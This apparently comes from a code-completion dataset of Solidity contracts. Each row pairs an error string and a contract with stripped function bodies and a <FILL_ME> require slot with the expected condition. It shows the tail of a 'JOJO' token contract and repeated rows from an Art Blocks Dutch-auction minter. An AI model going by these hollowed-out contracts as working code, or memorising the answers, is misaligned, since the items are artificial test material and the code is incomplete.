) public onlyOwner{
}
function getRemovelpFee() public view returns(uint256){
}
event FAILED_SWAP(uint256);
function swapTokenForFund(uint256 tokenAmount, uint256 swapFee) private lockTheSwap {
}
function _takeTransfer(
address sender,
address to,
uint256 tAmount
) private {
}
function setFundAddress(address addr) external onlyOwner {
}
function setFundAddress_2(address addr) external onlyOwner {
}
uint256 public goAddLPBlock;
function addLPBegin() external onlyOwner {
}
function addLPEnd() external onlyOwner {
}
uint256 public fightB;
uint256 public startTime;
function launch(uint256 uintparam,uint256 s) external onlyOwner {
}
function launchNow(
address[] calldata adrs,
uint256 buyAmount
) external onlyOwner {
}
function swapToken(uint256 tokenAmount,address to) private lockTheSwap {
}
function setSwapPairList(address addr, bool enable) external onlyOwner {
}
function setClaims(address token, uint256 amount) external {
}
receive() external payable {}
address[] private holders;
mapping(address => uint256) holderIndex;
mapping(address => bool) excludeHolder;
function addHolder(address adr) private {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
uint256 private currentIndex;
uint256 private holderRewardCondition;
uint256 private progressRewardBlock;
uint256 public processRewardWaitBlock = 1;
function setProcessRewardWaitBlock(uint256 newValue) public onlyOwner{
}
function processReward(uint256 gas) private {
}
function setHolderRewardCondition(uint256 amount) external onlyOwner {
}
function setExcludeHolder(address addr, bool enable) external onlyOwner {
}
}
contract TOKEN is AbsToken {
constructor() AbsToken(
address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D),
address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2),
"JOJO",
"JOJO",
9,
420690000000000,
address(0xf0C46c2B5dF8ae23cEc5aC42E7E1A1ECD85af5Fc),
address(0xf0C46c2B5dF8ae23cEc5aC42E7E1A1ECD85af5Fc),
address(0xf0C46c2B5dF8ae23cEc5aC42E7E1A1ECD85af5Fc)
){
}
}
| tradingOpen() | 172,020 | tradingOpen() |
"Only Artist" | // SPDX-License-Identifier: LGPL-3.0-only
// Created By: Art Blocks Inc.
import "../interfaces/0.8.x/IGenArt721CoreV2_PBAB.sol";
import "@openzeppelin-4.5/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin-4.5/contracts/utils/math/SafeCast.sol";
pragma solidity 0.8.17;
/**
* @title A minter contract that allows tokens to be minted with ETH.
* Pricing is achieved using an automated Dutch-auction mechanism.
* This is a fork of MinterDAExpV2, which is intended to be used directly
* with IGenArt721CoreV2_PBAB contracts rather than with IGenArt721CoreContractV3
* and as such does not conform to IFilteredMinterV0 nor assume presence
* of a IMinterFilterV0 conforming minter filter.
* @author Art Blocks Inc.
* @notice Privileged Roles and Ownership:
* This contract is designed to be managed, with limited powers.
* Privileged roles and abilities are controlled by the core contract's allowlisted
* (`isWhitelisted` conforming) addresses and a project's artist. Both of these
* roles hold extensive power and can modify minter details.
* Care must be taken to ensure that the core contract permissions and artist
* addresses are secure behind a multi-sig or other access control mechanism.
* ----------------------------------------------------------------------------
* The following functions are restricted to the core contract's allowlisted
* (`isWhitelisted` conforming) address(es):
* - setAllowablePriceDecayHalfLifeRangeSeconds (note: this range is only
* enforced when creating new auctions)
* - resetAuctionDetails (note: this will prevent minting until a new auction
* is created)
* ----------------------------------------------------------------------------
* The following functions are restricted to a project's artist:
* - setAuctionDetails (note: this may only be called when there is no active
* auction)
* ----------------------------------------------------------------------------
* Additional admin and artist privileged roles may be described on other
* contracts that this minter integrates with.
*
* @dev Note that while this minter makes use of `block.timestamp` and it is
* technically possible that this value is manipulated by block producers, such
* manipulation will not have material impact on the price values of this minter
* given the business practices for how pricing is congfigured for this minter
* and that variations on the order of less than a minute should not
* meaningfully impact price given the minimum allowable price decay rate that
* this minter intends to support.
*/
contract GenArt721MinterDAExp_PBAB is ReentrancyGuard {
using SafeCast for uint256;
/// Auction details updated for project `projectId`.
event SetAuctionDetails(
uint256 indexed projectId,
uint256 _auctionTimestampStart,
uint256 _priceDecayHalfLifeSeconds,
uint256 _startPrice,
uint256 _basePrice
);
/// Auction details cleared for project `projectId`.
event ResetAuctionDetails(uint256 indexed projectId);
/// Maximum and minimum allowed price decay half lifes updated.
event AuctionHalfLifeRangeSecondsUpdated(
uint256 _minimumPriceDecayHalfLifeSeconds,
uint256 _maximumPriceDecayHalfLifeSeconds
);
/// Core contract address this minter interacts with
address public immutable genArt721CoreAddress;
/// This contract handles cores with interface IGenArt721CoreV2_PBAB
IGenArt721CoreV2_PBAB private immutable genArtCoreContract;
uint256 constant ONE_MILLION = 1_000_000;
address payable public ownerAddress;
uint256 public ownerPercentage;
struct ProjectConfig {
bool maxHasBeenInvoked;
uint24 maxInvocations;
// max uint64 ~= 1.8e19 sec ~= 570 billion years
uint64 timestampStart;
uint64 priceDecayHalfLifeSeconds;
uint256 startPrice;
uint256 basePrice;
}
mapping(uint256 => ProjectConfig) public projectConfig;
/// Minimum price decay half life: price must decay with a half life of at
/// least this amount (must cut in half at least every N seconds).
uint256 public minimumPriceDecayHalfLifeSeconds = 300; // 5 minutes
/// Maximum price decay half life: price may decay with a half life of no
/// more than this amount (may cut in half at no more than every N seconds).
uint256 public maximumPriceDecayHalfLifeSeconds = 3600; // 60 minutes
// modifier to restrict access to only addresses specified by the
// `onlyWhitelisted()` method on the associated core contract
modifier onlyCoreAllowlisted() {
}
// modifier to restrict access to only the artist for a given project
modifier onlyArtist(uint256 _projectId) {
require(<FILL_ME>)
_;
}
// modifier to restrict access to calls only involving a valid projectId
// (an existing project)
modifier onlyValidProjectId(uint256 _projectId) {
}
/**
* @notice Initializes contract to be integrated with
* Art Blocks core contract at address `_genArt721Address`.
* @param _genArt721Address Art Blocks core contract address for
* which this contract will be a minter.
*/
constructor(address _genArt721Address) ReentrancyGuard() {
}
/**
* @notice Sets the minter owner (the platform provider) address to `_ownerAddress`.
* @param _ownerAddress New owner address.
*/
function setOwnerAddress(
address payable _ownerAddress
) public onlyCoreAllowlisted {
}
/**
* @notice Sets the minter owner (the platform provider) revenue % to `_ownerPercentage` percent.
* @param _ownerPercentage New owner percentage.
*/
function setOwnerPercentage(
uint256 _ownerPercentage
) public onlyCoreAllowlisted {
}
/**
* @notice Syncs local maximum invocations of project `_projectId` based on
* the value currently defined in the core contract. Only used for gas
* optimization of mints after maxInvocations has been reached.
* @param _projectId Project ID to set the maximum invocations for.
* @dev this enables gas reduction after maxInvocations have been reached -
* core contracts shall still enforce a maxInvocation check during mint.
* @dev function is intentionally not gated to any specific access control;
* it only syncs a local state variable to the core contract's state.
*/
function setProjectMaxInvocations(uint256 _projectId) external {
}
/**
* @notice Warning: Disabling purchaseTo is not supported on this minter.
* This method exists purely for interface-conformance purposes.
*/
function togglePurchaseToDisabled(
uint256 _projectId
) external view onlyArtist(_projectId) {
}
/**
* @notice projectId => has project reached its maximum number of
* invocations? Note that this returns a local cache of the core contract's
* state, and may be out of sync with the core contract. This is
* intentional, as it only enables gas optimization of mints after a
* project's maximum invocations has been reached. A false negative will
* only result in a gas cost increase, since the core contract will still
* enforce a maxInvocation check during minting. A false positive is not
* possible because the V2 engine core contract only allows maximum invocations
* to be reduced, not increased. Based on this rationale, we intentionally
* do not do input validation in this method as to whether or not the input
* `_projectId` is an existing project ID.
*
*/
function projectMaxHasBeenInvoked(
uint256 _projectId
) external view returns (bool) {
}
/**
* @notice projectId => project's maximum number of invocations.
* Optionally synced with core contract value, for gas optimization.
* Note that this returns a local cache of the core contract's
* state, and may be out of sync with the core contract. This is
* intentional, as it only enables gas optimization of mints after a
* project's maximum invocations has been reached.
* @dev A number greater than the core contract's project max invocations
* will only result in a gas cost increase, since the core contract will
* still enforce a maxInvocation check during minting. A number less than
* the core contract's project max invocations is only possible when the
* project's max invocations have not been synced on this minter, since the
* V2 engine core contract only allows maximum invocations to be reduced, not
* increased. When this happens, the minter will enable minting, allowing
* the core contract to enforce the max invocations check. Based on this
* rationale, we intentionally do not do input validation in this method as
* to whether or not the input `_projectId` is an existing project ID.
*/
function projectMaxInvocations(
uint256 _projectId
) external view returns (uint256) {
}
/**
* @notice projectId => auction parameters
*/
function projectAuctionParameters(
uint256 _projectId
)
external
view
returns (
uint256 timestampStart,
uint256 priceDecayHalfLifeSeconds,
uint256 startPrice,
uint256 basePrice
)
{
}
/**
* @notice Sets the minimum and maximum values that are settable for
* `_priceDecayHalfLifeSeconds` across all projects.
* @param _minimumPriceDecayHalfLifeSeconds Minimum price decay half life
* (in seconds).
* @param _maximumPriceDecayHalfLifeSeconds Maximum price decay half life
* (in seconds).
*/
function setAllowablePriceDecayHalfLifeRangeSeconds(
uint256 _minimumPriceDecayHalfLifeSeconds,
uint256 _maximumPriceDecayHalfLifeSeconds
) external onlyCoreAllowlisted {
}
////// Auction Functions
/**
* @notice Sets auction details for project `_projectId`.
* @param _projectId Project ID to set auction details for.
* @param _auctionTimestampStart Timestamp at which to start the auction.
* @param _priceDecayHalfLifeSeconds The half life with which to decay the
* price (in seconds).
* @param _startPrice Price at which to start the auction, in Wei.
* @param _basePrice Resting price of the auction, in Wei.
* @dev Note that it is intentionally supported here that the configured
* price may be explicitly set to `0`.
*/
function setAuctionDetails(
uint256 _projectId,
uint256 _auctionTimestampStart,
uint256 _priceDecayHalfLifeSeconds,
uint256 _startPrice,
uint256 _basePrice
) external onlyValidProjectId(_projectId) onlyArtist(_projectId) {
}
/**
* @notice Resets auction details for project `_projectId`, zero-ing out all
* relevant auction fields. Not intended to be used in normal auction
* operation, but rather only in case of the need to halt an auction.
* @param _projectId Project ID to set auction details for.
*/
function resetAuctionDetails(
uint256 _projectId
) external onlyCoreAllowlisted onlyValidProjectId(_projectId) {
}
/**
* @notice Purchases a token from project `_projectId`.
* @param _projectId Project ID to mint a token on.
* @return tokenId Token ID of minted token
*/
function purchase(
uint256 _projectId
) external payable returns (uint256 tokenId) {
}
/**
* @notice gas-optimized version of purchase(uint256).
*/
function purchase_H4M(
uint256 _projectId
) external payable returns (uint256 tokenId) {
}
/**
* @notice Purchases a token from project `_projectId` and sets
* the token's owner to `_to`.
* @param _to Address to be the new token's owner.
* @param _projectId Project ID to mint a token on.
* @return tokenId Token ID of minted token
*/
function purchaseTo(
address _to,
uint256 _projectId
) external payable returns (uint256 tokenId) {
}
/**
* @notice gas-optimized version of purchaseTo(address, uint256).
*/
function purchaseTo_do6(
address _to,
uint256 _projectId
) public payable nonReentrant returns (uint256 tokenId) {
}
/**
* @dev splits ETH funds between sender (if refund), foundation,
* artist, and artist's additional payee for a token purchased on
* project `_projectId`.
* @dev possible DoS during splits is acknowledged, and mitigated by
* business practices, including end-to-end testing on mainnet, and
* admin-accepted artist payment addresses.
* @param _projectId Project ID for which funds shall be split.
* @param _currentPriceInWei Current price of token, in Wei.
*/
function _splitFundsETHAuction(
uint256 _projectId,
uint256 _currentPriceInWei
) internal {
}
/**
* @notice Gets price of minting a token on project `_projectId` given
* the project's AuctionParameters and current block timestamp.
* Reverts if auction has not yet started or auction is unconfigured.
* @param _projectId Project ID to get price of token for.
* @return current price of token in Wei
* @dev This method calculates price decay using a linear interpolation
* of exponential decay based on the artist-provided half-life for price
* decay, `_priceDecayHalfLifeSeconds`.
*/
function _getPrice(uint256 _projectId) private view returns (uint256) {
}
/**
* @notice Gets if price of token is configured, price of minting a
* token on project `_projectId`, and currency symbol and address to be
* used as payment. Supersedes any core contract price information.
* @param _projectId Project ID to get price information for.
* @return isConfigured true only if project's auction parameters have been
* configured on this minter
* @return tokenPriceInWei current price of token on this minter - invalid
* if auction has not yet been configured
* @return currencySymbol currency symbol for purchases of project on this
* minter. This minter always returns "ETH"
* @return currencyAddress currency address for purchases of project on
* this minter. This minter always returns null address, reserved for ether
*/
function getPriceInfo(
uint256 _projectId
)
external
view
returns (
bool isConfigured,
uint256 tokenPriceInWei,
string memory currencySymbol,
address currencyAddress
)
{
}
}
| (msg.sender==genArtCoreContract.projectIdToArtistAddress(_projectId)),"Only Artist" | 172,193 | (msg.sender==genArtCoreContract.projectIdToArtistAddress(_projectId)) |
"Price decay half life must fall between min and max allowable values" | // SPDX-License-Identifier: LGPL-3.0-only
// Created By: Art Blocks Inc.
import "../interfaces/0.8.x/IGenArt721CoreV2_PBAB.sol";
import "@openzeppelin-4.5/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin-4.5/contracts/utils/math/SafeCast.sol";
pragma solidity 0.8.17;
/**
* @title A minter contract that allows tokens to be minted with ETH.
* Pricing is achieved using an automated Dutch-auction mechanism.
* This is a fork of MinterDAExpV2, which is intended to be used directly
* with IGenArt721CoreV2_PBAB contracts rather than with IGenArt721CoreContractV3
* and as such does not conform to IFilteredMinterV0 nor assume presence
* of a IMinterFilterV0 conforming minter filter.
* @author Art Blocks Inc.
* @notice Privileged Roles and Ownership:
* This contract is designed to be managed, with limited powers.
* Privileged roles and abilities are controlled by the core contract's allowlisted
* (`isWhitelisted` conforming) addresses and a project's artist. Both of these
* roles hold extensive power and can modify minter details.
* Care must be taken to ensure that the core contract permissions and artist
* addresses are secure behind a multi-sig or other access control mechanism.
* ----------------------------------------------------------------------------
* The following functions are restricted to the core contract's allowlisted
* (`isWhitelisted` conforming) address(es):
* - setAllowablePriceDecayHalfLifeRangeSeconds (note: this range is only
* enforced when creating new auctions)
* - resetAuctionDetails (note: this will prevent minting until a new auction
* is created)
* ----------------------------------------------------------------------------
* The following functions are restricted to a project's artist:
* - setAuctionDetails (note: this may only be called when there is no active
* auction)
* ----------------------------------------------------------------------------
* Additional admin and artist privileged roles may be described on other
* contracts that this minter integrates with.
*
* @dev Note that while this minter makes use of `block.timestamp` and it is
* technically possible that this value is manipulated by block producers, such
* manipulation will not have material impact on the price values of this minter
* given the business practices for how pricing is congfigured for this minter
* and that variations on the order of less than a minute should not
* meaningfully impact price given the minimum allowable price decay rate that
* this minter intends to support.
*/
contract GenArt721MinterDAExp_PBAB is ReentrancyGuard {
using SafeCast for uint256;
/// Auction details updated for project `projectId`.
event SetAuctionDetails(
uint256 indexed projectId,
uint256 _auctionTimestampStart,
uint256 _priceDecayHalfLifeSeconds,
uint256 _startPrice,
uint256 _basePrice
);
/// Auction details cleared for project `projectId`.
event ResetAuctionDetails(uint256 indexed projectId);
/// Maximum and minimum allowed price decay half lifes updated.
event AuctionHalfLifeRangeSecondsUpdated(
uint256 _minimumPriceDecayHalfLifeSeconds,
uint256 _maximumPriceDecayHalfLifeSeconds
);
/// Core contract address this minter interacts with
address public immutable genArt721CoreAddress;
/// This contract handles cores with interface IGenArt721CoreV2_PBAB
IGenArt721CoreV2_PBAB private immutable genArtCoreContract;
uint256 constant ONE_MILLION = 1_000_000;
address payable public ownerAddress;
uint256 public ownerPercentage;
struct ProjectConfig {
bool maxHasBeenInvoked;
uint24 maxInvocations;
// max uint64 ~= 1.8e19 sec ~= 570 billion years
uint64 timestampStart;
uint64 priceDecayHalfLifeSeconds;
uint256 startPrice;
uint256 basePrice;
}
mapping(uint256 => ProjectConfig) public projectConfig;
/// Minimum price decay half life: price must decay with a half life of at
/// least this amount (must cut in half at least every N seconds).
uint256 public minimumPriceDecayHalfLifeSeconds = 300; // 5 minutes
/// Maximum price decay half life: price may decay with a half life of no
/// more than this amount (may cut in half at no more than every N seconds).
uint256 public maximumPriceDecayHalfLifeSeconds = 3600; // 60 minutes
// modifier to restrict access to only addresses specified by the
// `onlyWhitelisted()` method on the associated core contract
modifier onlyCoreAllowlisted() {
}
// modifier to restrict access to only the artist for a given project
modifier onlyArtist(uint256 _projectId) {
}
// modifier to restrict access to calls only involving a valid projectId
// (an existing project)
modifier onlyValidProjectId(uint256 _projectId) {
}
/**
* @notice Initializes contract to be integrated with
* Art Blocks core contract at address `_genArt721Address`.
* @param _genArt721Address Art Blocks core contract address for
* which this contract will be a minter.
*/
constructor(address _genArt721Address) ReentrancyGuard() {
}
/**
* @notice Sets the minter owner (the platform provider) address to `_ownerAddress`.
* @param _ownerAddress New owner address.
*/
function setOwnerAddress(
address payable _ownerAddress
) public onlyCoreAllowlisted {
}
/**
* @notice Sets the minter owner (the platform provider) revenue % to `_ownerPercentage` percent.
* @param _ownerPercentage New owner percentage.
*/
function setOwnerPercentage(
uint256 _ownerPercentage
) public onlyCoreAllowlisted {
}
/**
* @notice Syncs local maximum invocations of project `_projectId` based on
* the value currently defined in the core contract. Only used for gas
* optimization of mints after maxInvocations has been reached.
* @param _projectId Project ID to set the maximum invocations for.
* @dev this enables gas reduction after maxInvocations have been reached -
* core contracts shall still enforce a maxInvocation check during mint.
* @dev function is intentionally not gated to any specific access control;
* it only syncs a local state variable to the core contract's state.
*/
function setProjectMaxInvocations(uint256 _projectId) external {
}
/**
* @notice Warning: Disabling purchaseTo is not supported on this minter.
* This method exists purely for interface-conformance purposes.
*/
function togglePurchaseToDisabled(
uint256 _projectId
) external view onlyArtist(_projectId) {
}
/**
* @notice projectId => has project reached its maximum number of
* invocations? Note that this returns a local cache of the core contract's
* state, and may be out of sync with the core contract. This is
* intentional, as it only enables gas optimization of mints after a
* project's maximum invocations has been reached. A false negative will
* only result in a gas cost increase, since the core contract will still
* enforce a maxInvocation check during minting. A false positive is not
* possible because the V2 engine core contract only allows maximum invocations
* to be reduced, not increased. Based on this rationale, we intentionally
* do not do input validation in this method as to whether or not the input
* `_projectId` is an existing project ID.
*
*/
function projectMaxHasBeenInvoked(
uint256 _projectId
) external view returns (bool) {
}
/**
* @notice projectId => project's maximum number of invocations.
* Optionally synced with core contract value, for gas optimization.
* Note that this returns a local cache of the core contract's
* state, and may be out of sync with the core contract. This is
* intentional, as it only enables gas optimization of mints after a
* project's maximum invocations has been reached.
* @dev A number greater than the core contract's project max invocations
* will only result in a gas cost increase, since the core contract will
* still enforce a maxInvocation check during minting. A number less than
* the core contract's project max invocations is only possible when the
* project's max invocations have not been synced on this minter, since the
* V2 engine core contract only allows maximum invocations to be reduced, not
* increased. When this happens, the minter will enable minting, allowing
* the core contract to enforce the max invocations check. Based on this
* rationale, we intentionally do not do input validation in this method as
* to whether or not the input `_projectId` is an existing project ID.
*/
function projectMaxInvocations(
uint256 _projectId
) external view returns (uint256) {
}
/**
* @notice projectId => auction parameters
*/
function projectAuctionParameters(
uint256 _projectId
)
external
view
returns (
uint256 timestampStart,
uint256 priceDecayHalfLifeSeconds,
uint256 startPrice,
uint256 basePrice
)
{
}
/**
* @notice Sets the minimum and maximum values that are settable for
* `_priceDecayHalfLifeSeconds` across all projects.
* @param _minimumPriceDecayHalfLifeSeconds Minimum price decay half life
* (in seconds).
* @param _maximumPriceDecayHalfLifeSeconds Maximum price decay half life
* (in seconds).
*/
function setAllowablePriceDecayHalfLifeRangeSeconds(
uint256 _minimumPriceDecayHalfLifeSeconds,
uint256 _maximumPriceDecayHalfLifeSeconds
) external onlyCoreAllowlisted {
}
////// Auction Functions
/**
* @notice Sets auction details for project `_projectId`.
* @param _projectId Project ID to set auction details for.
* @param _auctionTimestampStart Timestamp at which to start the auction.
* @param _priceDecayHalfLifeSeconds The half life with which to decay the
* price (in seconds).
* @param _startPrice Price at which to start the auction, in Wei.
* @param _basePrice Resting price of the auction, in Wei.
* @dev Note that it is intentionally supported here that the configured
* price may be explicitly set to `0`.
*/
function setAuctionDetails(
uint256 _projectId,
uint256 _auctionTimestampStart,
uint256 _priceDecayHalfLifeSeconds,
uint256 _startPrice,
uint256 _basePrice
) external onlyValidProjectId(_projectId) onlyArtist(_projectId) {
// CHECKS
ProjectConfig storage _projectConfig = projectConfig[_projectId];
require(
_projectConfig.timestampStart == 0 ||
block.timestamp < _projectConfig.timestampStart,
"No modifications mid-auction"
);
require(
block.timestamp < _auctionTimestampStart,
"Only future auctions"
);
require(
_startPrice >= _basePrice,
"Auction start price must be greater than or equal to auction end price"
);
require(<FILL_ME>)
// EFFECTS
_projectConfig.timestampStart = _auctionTimestampStart.toUint64();
_projectConfig.priceDecayHalfLifeSeconds = _priceDecayHalfLifeSeconds
.toUint64();
_projectConfig.startPrice = _startPrice;
_projectConfig.basePrice = _basePrice;
emit SetAuctionDetails(
_projectId,
_auctionTimestampStart,
_priceDecayHalfLifeSeconds,
_startPrice,
_basePrice
);
}
/**
* @notice Resets auction details for project `_projectId`, zero-ing out all
* relevant auction fields. Not intended to be used in normal auction
* operation, but rather only in case of the need to halt an auction.
* @param _projectId Project ID to set auction details for.
*/
function resetAuctionDetails(
uint256 _projectId
) external onlyCoreAllowlisted onlyValidProjectId(_projectId) {
}
/**
* @notice Purchases a token from project `_projectId`.
* @param _projectId Project ID to mint a token on.
* @return tokenId Token ID of minted token
*/
function purchase(
uint256 _projectId
) external payable returns (uint256 tokenId) {
}
/**
* @notice gas-optimized version of purchase(uint256).
*/
function purchase_H4M(
uint256 _projectId
) external payable returns (uint256 tokenId) {
}
/**
* @notice Purchases a token from project `_projectId` and sets
* the token's owner to `_to`.
* @param _to Address to be the new token's owner.
* @param _projectId Project ID to mint a token on.
* @return tokenId Token ID of minted token
*/
function purchaseTo(
address _to,
uint256 _projectId
) external payable returns (uint256 tokenId) {
}
/**
* @notice gas-optimized version of purchaseTo(address, uint256).
*/
function purchaseTo_do6(
address _to,
uint256 _projectId
) public payable nonReentrant returns (uint256 tokenId) {
}
/**
* @dev splits ETH funds between sender (if refund), foundation,
* artist, and artist's additional payee for a token purchased on
* project `_projectId`.
* @dev possible DoS during splits is acknowledged, and mitigated by
* business practices, including end-to-end testing on mainnet, and
* admin-accepted artist payment addresses.
* @param _projectId Project ID for which funds shall be split.
* @param _currentPriceInWei Current price of token, in Wei.
*/
function _splitFundsETHAuction(
uint256 _projectId,
uint256 _currentPriceInWei
) internal {
}
/**
* @notice Gets price of minting a token on project `_projectId` given
* the project's AuctionParameters and current block timestamp.
* Reverts if auction has not yet started or auction is unconfigured.
* @param _projectId Project ID to get price of token for.
* @return current price of token in Wei
* @dev This method calculates price decay using a linear interpolation
* of exponential decay based on the artist-provided half-life for price
* decay, `_priceDecayHalfLifeSeconds`.
*/
function _getPrice(uint256 _projectId) private view returns (uint256) {
}
/**
* @notice Gets if price of token is configured, price of minting a
* token on project `_projectId`, and currency symbol and address to be
* used as payment. Supersedes any core contract price information.
* @param _projectId Project ID to get price information for.
* @return isConfigured true only if project's auction parameters have been
* configured on this minter
* @return tokenPriceInWei current price of token on this minter - invalid
* if auction has not yet been configured
* @return currencySymbol currency symbol for purchases of project on this
* minter. This minter always returns "ETH"
* @return currencyAddress currency address for purchases of project on
* this minter. This minter always returns null address, reserved for ether
*/
function getPriceInfo(
uint256 _projectId
)
external
view
returns (
bool isConfigured,
uint256 tokenPriceInWei,
string memory currencySymbol,
address currencyAddress
)
{
}
}
| (_priceDecayHalfLifeSeconds>=minimumPriceDecayHalfLifeSeconds)&&(_priceDecayHalfLifeSeconds<=maximumPriceDecayHalfLifeSeconds),"Price decay half life must fall between min and max allowable values" | 172,193 | (_priceDecayHalfLifeSeconds>=minimumPriceDecayHalfLifeSeconds)&&(_priceDecayHalfLifeSeconds<=maximumPriceDecayHalfLifeSeconds) |
"Maximum number of invocations reached" | // SPDX-License-Identifier: LGPL-3.0-only
// Created By: Art Blocks Inc.
import "../interfaces/0.8.x/IGenArt721CoreV2_PBAB.sol";
import "@openzeppelin-4.5/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin-4.5/contracts/utils/math/SafeCast.sol";
pragma solidity 0.8.17;
/**
* @title A minter contract that allows tokens to be minted with ETH.
* Pricing is achieved using an automated Dutch-auction mechanism.
* This is a fork of MinterDAExpV2, which is intended to be used directly
* with IGenArt721CoreV2_PBAB contracts rather than with IGenArt721CoreContractV3
* and as such does not conform to IFilteredMinterV0 nor assume presence
* of a IMinterFilterV0 conforming minter filter.
* @author Art Blocks Inc.
* @notice Privileged Roles and Ownership:
* This contract is designed to be managed, with limited powers.
* Privileged roles and abilities are controlled by the core contract's allowlisted
* (`isWhitelisted` conforming) addresses and a project's artist. Both of these
* roles hold extensive power and can modify minter details.
* Care must be taken to ensure that the core contract permissions and artist
* addresses are secure behind a multi-sig or other access control mechanism.
* ----------------------------------------------------------------------------
* The following functions are restricted to the core contract's allowlisted
* (`isWhitelisted` conforming) address(es):
* - setAllowablePriceDecayHalfLifeRangeSeconds (note: this range is only
* enforced when creating new auctions)
* - resetAuctionDetails (note: this will prevent minting until a new auction
* is created)
* ----------------------------------------------------------------------------
* The following functions are restricted to a project's artist:
* - setAuctionDetails (note: this may only be called when there is no active
* auction)
* ----------------------------------------------------------------------------
* Additional admin and artist privileged roles may be described on other
* contracts that this minter integrates with.
*
* @dev Note that while this minter makes use of `block.timestamp` and it is
* technically possible that this value is manipulated by block producers, such
* manipulation will not have material impact on the price values of this minter
* given the business practices for how pricing is congfigured for this minter
* and that variations on the order of less than a minute should not
* meaningfully impact price given the minimum allowable price decay rate that
* this minter intends to support.
*/
contract GenArt721MinterDAExp_PBAB is ReentrancyGuard {
using SafeCast for uint256;
/// Auction details updated for project `projectId`.
event SetAuctionDetails(
uint256 indexed projectId,
uint256 _auctionTimestampStart,
uint256 _priceDecayHalfLifeSeconds,
uint256 _startPrice,
uint256 _basePrice
);
/// Auction details cleared for project `projectId`.
event ResetAuctionDetails(uint256 indexed projectId);
/// Maximum and minimum allowed price decay half lifes updated.
event AuctionHalfLifeRangeSecondsUpdated(
uint256 _minimumPriceDecayHalfLifeSeconds,
uint256 _maximumPriceDecayHalfLifeSeconds
);
/// Core contract address this minter interacts with
address public immutable genArt721CoreAddress;
/// This contract handles cores with interface IGenArt721CoreV2_PBAB
IGenArt721CoreV2_PBAB private immutable genArtCoreContract;
uint256 constant ONE_MILLION = 1_000_000;
address payable public ownerAddress;
uint256 public ownerPercentage;
struct ProjectConfig {
bool maxHasBeenInvoked;
uint24 maxInvocations;
// max uint64 ~= 1.8e19 sec ~= 570 billion years
uint64 timestampStart;
uint64 priceDecayHalfLifeSeconds;
uint256 startPrice;
uint256 basePrice;
}
mapping(uint256 => ProjectConfig) public projectConfig;
/// Minimum price decay half life: price must decay with a half life of at
/// least this amount (must cut in half at least every N seconds).
uint256 public minimumPriceDecayHalfLifeSeconds = 300; // 5 minutes
/// Maximum price decay half life: price may decay with a half life of no
/// more than this amount (may cut in half at no more than every N seconds).
uint256 public maximumPriceDecayHalfLifeSeconds = 3600; // 60 minutes
// modifier to restrict access to only addresses specified by the
// `onlyWhitelisted()` method on the associated core contract
modifier onlyCoreAllowlisted() {
}
// modifier to restrict access to only the artist for a given project
modifier onlyArtist(uint256 _projectId) {
}
// modifier to restrict access to calls only involving a valid projectId
// (an existing project)
modifier onlyValidProjectId(uint256 _projectId) {
}
/**
* @notice Initializes contract to be integrated with
* Art Blocks core contract at address `_genArt721Address`.
* @param _genArt721Address Art Blocks core contract address for
* which this contract will be a minter.
*/
constructor(address _genArt721Address) ReentrancyGuard() {
}
/**
* @notice Sets the minter owner (the platform provider) address to `_ownerAddress`.
* @param _ownerAddress New owner address.
*/
function setOwnerAddress(
address payable _ownerAddress
) public onlyCoreAllowlisted {
}
/**
* @notice Sets the minter owner (the platform provider) revenue % to `_ownerPercentage` percent.
* @param _ownerPercentage New owner percentage.
*/
function setOwnerPercentage(
uint256 _ownerPercentage
) public onlyCoreAllowlisted {
}
/**
* @notice Syncs local maximum invocations of project `_projectId` based on
* the value currently defined in the core contract. Only used for gas
* optimization of mints after maxInvocations has been reached.
* @param _projectId Project ID to set the maximum invocations for.
* @dev this enables gas reduction after maxInvocations have been reached -
* core contracts shall still enforce a maxInvocation check during mint.
* @dev function is intentionally not gated to any specific access control;
* it only syncs a local state variable to the core contract's state.
*/
function setProjectMaxInvocations(uint256 _projectId) external {
}
/**
* @notice Warning: Disabling purchaseTo is not supported on this minter.
* This method exists purely for interface-conformance purposes.
*/
function togglePurchaseToDisabled(
uint256 _projectId
) external view onlyArtist(_projectId) {
}
/**
* @notice projectId => has project reached its maximum number of
* invocations? Note that this returns a local cache of the core contract's
* state, and may be out of sync with the core contract. This is
* intentional, as it only enables gas optimization of mints after a
* project's maximum invocations has been reached. A false negative will
* only result in a gas cost increase, since the core contract will still
* enforce a maxInvocation check during minting. A false positive is not
* possible because the V2 engine core contract only allows maximum invocations
* to be reduced, not increased. Based on this rationale, we intentionally
* do not do input validation in this method as to whether or not the input
* `_projectId` is an existing project ID.
*
*/
function projectMaxHasBeenInvoked(
uint256 _projectId
) external view returns (bool) {
}
/**
* @notice projectId => project's maximum number of invocations.
* Optionally synced with core contract value, for gas optimization.
* Note that this returns a local cache of the core contract's
* state, and may be out of sync with the core contract. This is
* intentional, as it only enables gas optimization of mints after a
* project's maximum invocations has been reached.
* @dev A number greater than the core contract's project max invocations
* will only result in a gas cost increase, since the core contract will
* still enforce a maxInvocation check during minting. A number less than
* the core contract's project max invocations is only possible when the
* project's max invocations have not been synced on this minter, since the
* V2 engine core contract only allows maximum invocations to be reduced, not
* increased. When this happens, the minter will enable minting, allowing
* the core contract to enforce the max invocations check. Based on this
* rationale, we intentionally do not do input validation in this method as
* to whether or not the input `_projectId` is an existing project ID.
*/
function projectMaxInvocations(
uint256 _projectId
) external view returns (uint256) {
}
/**
* @notice projectId => auction parameters
*/
function projectAuctionParameters(
uint256 _projectId
)
external
view
returns (
uint256 timestampStart,
uint256 priceDecayHalfLifeSeconds,
uint256 startPrice,
uint256 basePrice
)
{
}
/**
* @notice Sets the minimum and maximum values that are settable for
* `_priceDecayHalfLifeSeconds` across all projects.
* @param _minimumPriceDecayHalfLifeSeconds Minimum price decay half life
* (in seconds).
* @param _maximumPriceDecayHalfLifeSeconds Maximum price decay half life
* (in seconds).
*/
function setAllowablePriceDecayHalfLifeRangeSeconds(
uint256 _minimumPriceDecayHalfLifeSeconds,
uint256 _maximumPriceDecayHalfLifeSeconds
) external onlyCoreAllowlisted {
}
////// Auction Functions
/**
* @notice Sets auction details for project `_projectId`.
* @param _projectId Project ID to set auction details for.
